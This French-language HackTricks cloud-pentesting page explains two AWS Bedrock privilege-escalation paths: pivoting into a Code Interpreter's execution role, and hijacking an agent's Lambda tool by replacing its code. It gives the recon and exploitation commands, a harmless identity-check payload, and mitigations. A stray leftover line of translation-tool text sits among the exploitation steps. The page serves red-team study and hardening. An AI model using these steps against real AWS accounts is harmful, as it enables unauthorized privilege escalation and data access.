AWS - Bedrock PrivEsc

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Amazon Bedrock AgentCore

bedrock-agentcore:StartCodeInterpreterSession + bedrock-agentcore:InvokeCodeInterpreter - Code Interpreter Execution-Role Pivot

AgentCore Code Interpreter est un environnement d’exĂ©cution gĂ©rĂ©. Les Custom Code Interpreters peuvent ĂȘtre configurĂ©s avec un executionRoleArn qui “provides permissions for the code interpreter to access AWS services”.

Si un principal IAM avec moins de privilĂšges peut start + invoke une session Code Interpreter configurĂ©e avec un execution role plus privilĂ©giĂ©, l’appelant peut effectivement pivot vers les permissions de l’execution role (lateral movement / privilege escalation selon le pĂ©rimĂštre du rĂŽle).

Note

Il s’agit gĂ©nĂ©ralement d’un problĂšme de misconfiguration / excessive permissions (accorder des permissions larges au rĂŽle d’exĂ©cution de l’interprĂ©teur et/ou accorder un accĂšs invoke trop large). AWS avertit explicitement d’éviter la privilege escalation en s’assurant que les execution roles ont des privilĂšges Ă©gaux ou infĂ©rieurs Ă  ceux des identitĂ©s autorisĂ©es Ă  invoquer.

Preconditions (common misconfiguration)

  • Un custom code interpreter existe avec un execution role trop privilĂ©giĂ© (ex : accĂšs Ă  des S3/Secrets/SSM sensibles ou des capacitĂ©s de type IAM-admin).
  • Un utilisateur (developer/auditor/CI identity) a les permissions pour :
  • start sessions: bedrock-agentcore:StartCodeInterpreterSession
  • invoke tools: bedrock-agentcore:InvokeCodeInterpreter
  • (Optional) L’utilisateur peut aussi crĂ©er des interpreters: bedrock-agentcore:CreateCodeInterpreter (cela lui permet de crĂ©er un nouvel interpreter configurĂ© avec un execution role, selon les guardrails de l’organisation).

Recon (identify custom interpreters and execution role usage)

Lister les interpreters (control-plane) et inspecter leur configuration:

aws bedrock-agentcore-control list-code-interpreters
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>

La commande create-code-interpreter prend en charge --execution-role-arn qui dĂ©finit les permissions AWS que l’interprĂ©teur aura.

Étape 1 - DĂ©marrer une session (cela retourne un sessionId, pas un shell interactif)

SESSION_ID=$(
aws bedrock-agentcore start-code-interpreter-session \
--code-interpreter-identifier <CODE_INTERPRETER_IDENTIFIER> \
--name "arte-oussama" \
--query sessionId \
--output text
)

echo "SessionId: $SESSION_ID"

Étape 2 - Invoke code execution (Boto3 or signed HTTPS)

Il n’y a pas de shell Python interactif via start-code-interpreter-session. L’exĂ©cution se fait via InvokeCodeInterpreter.

Option A - Boto3 example (execute Python + verify identity):

import boto3

client = boto3.client("bedrock-agentcore", region_name="<REGION>")

# Execute python inside the Code Interpreter session
resp = client.invoke_code_interpreter(
codeInterpreterIdentifier="<CODE_INTERPRETER_IDENTIFIER>",
sessionId="<SESSION_ID>",
name="executeCode",
arguments={
"language": "python",
"code": "import boto3; print(boto3.client('sts').get_caller_identity())"
}
)

# Response is streamed; print events for visibility
for event in resp.get("stream", []):
print(event)

Si l’interprĂ©teur est configurĂ© avec un execution role, la sortie de sts:GetCallerIdentity() devrait reflĂ©ter l’identitĂ© de ce rĂŽle (et non celle du low-priv caller), dĂ©montrant le pivot.

Option B - Signed HTTPS call (awscurl):

awscurl -X POST \
"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-H "x-amzn-code-interpreter-session-id: <SESSION_ID>" \
--service bedrock-agentcore \
--region <Region> \
-d '{
"name": "executeCode",
"arguments": {
"language": "python",
"code": "print(\"Hello from AgentCore\")"
}
}'

Impact

  • Lateral movement vers tout accĂšs AWS que le rĂŽle d’exĂ©cution de l’interpreter possĂšde.
  • Privilege escalation si le rĂŽle d’exĂ©cution de l’interpreter est plus privilĂ©giĂ© que l’appelant.
  • DĂ©tection plus difficile si les CloudTrail data events pour les invocations de l’interpreter ne sont pas activĂ©s (les invocations peuvent ne pas ĂȘtre journalisĂ©es par dĂ©faut, selon la configuration).

Mitigations / Hardening

  • Least privilege sur le executionRoleArn de l’interpreter (traitez-le comme les rĂŽles d’exĂ©cution Lambda / les rĂŽles CI).
  • Restreindre qui peut invoquer (bedrock-agentcore:InvokeCodeInterpreter) et qui peut dĂ©marrer des sessions.
  • Utilisez des SCPs pour refuser InvokeCodeInterpreter sauf pour les rĂŽles runtime d’agent approuvĂ©s (l’application au niveau de l’organisation peut ĂȘtre nĂ©cessaire).
  • Activez les CloudTrail data events appropriĂ©s pour AgentCore lorsque c’est applicable ; alertez sur les invocations inattendues et la crĂ©ation de sessions.

Amazon Bedrock Agents

lambda:UpdateFunctionCode, bedrock:InvokeAgent - Agent Tool Hijacking via Lambda

Bedrock Agents peuvent utiliser des Lambda-backed action groups comme tools (exĂ©cution externe). Si un principal peut modifier le code d’une fonction Lambda utilisĂ©e par un agent, puis peut invoquer l’agent, il peut exĂ©cuter du code contrĂŽlĂ© par l’attaquant sous le Lambda execution role.

Note

Ceci est un cross-service trust abuse (Bedrock → Lambda), pas une vulnĂ©rabilitĂ©. L’attaquant peut ne pas ĂȘtre en mesure d’invoquer directement la Lambda, mais peut quand mĂȘme la dĂ©clencher via l’agent.

Preconditions (common misconfiguration)

  • Un Bedrock Agent existe avec un action group backed by a Lambda function
  • L’attaquant a :
  • lambda:UpdateFunctionCode
  • bedrock:InvokeAgent
  • Le Lambda execution role a des permissions plus larges que celles de l’attaquant
  • L’attaquant peut identifier la Lambda utilisĂ©e par l’agent

Recon

ÉnumĂ©rez les agent action groups :

aws bedrock-agent list-agents
aws bedrock-agent get-agent --agent-id <AGENT_ID>
aws bedrock-agent list-agent-action-groups --agent-id <AGENT_ID> --agent-version DRAFT

Inspecter Lambda:

aws lambda get-function --function-name <FUNCTION_NAME>

Exploitation

Remplacer le code Lambda:

zip payload.zip lambda_function.py

aws lambda update-function-code \
--function-name <FUNCTION_NAME> \
--zip-file fileb://payload.zip

Exemple de payload:

import boto3

def lambda_handler(event, context):
return boto3.client("sts").get_caller_identity()

Translate the content you want me to process, and I’ll return it in French while keeping the exact markdown/html syntax.

aws bedrock-agent-runtime invoke-agent \
--agent-id <AGENT_ID> \
--agent-alias-id <ALIAS_ID> \
--session-id test \
--input-text "trigger tool"

Impact

  • Privilege escalation into Lambda execution role
  • Data exfiltration from AWS services
  • Cross-service abuse via trusted agent execution

Mitigations

  • Restreindre lambda:UpdateFunctionCode
  • Utiliser des rĂŽles Lambda avec le least-privilege
  • Surveiller les changements de code Lambda
  • Auditer l’utilisation des outils de l’agent Bedrock

References

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks